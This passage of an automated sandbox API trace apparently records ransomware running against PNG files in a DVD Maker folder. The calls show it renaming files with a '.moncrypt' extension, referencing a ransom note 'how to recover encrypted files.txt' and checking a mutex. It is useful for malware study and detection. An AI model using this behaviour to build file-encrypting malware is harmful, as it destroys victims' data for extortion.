lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png", cchWideChar=92, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.pnge", lpUsedDefaultChar=0x0) returned 92 [0057.732] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\HueCycle\\NavigationRight_SelectionSubpicture.pnge", lpUsedDefaultChar=0x0) returned 4 [0057.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.732] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.732] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.732] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.732] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.733] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0057.733] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.733] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.733] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.733] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.733] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.733] GlobalUnlock (hMem=0x44000c) returned 0 [0057.733] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.733] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.733] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.733] GlobalUnlock (hMem=0x44000c) returned 0 [0057.733] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.733] GlobalUnlock (hMem=0x440004) returned 0 [0057.733] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.734] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png", cchWideChar=83, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 83 [0057.735] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\HueCycle\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0057.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.735] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.735] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.735] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.735] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.736] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0057.736] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.736] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.736] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.736] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.736] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.736] GlobalUnlock (hMem=0x440004) returned 0 [0057.736] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.736] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.736] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.736] GlobalUnlock (hMem=0x440004) returned 0 [0057.736] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.736] GlobalUnlock (hMem=0x44000c) returned 0 [0057.736] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.737] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 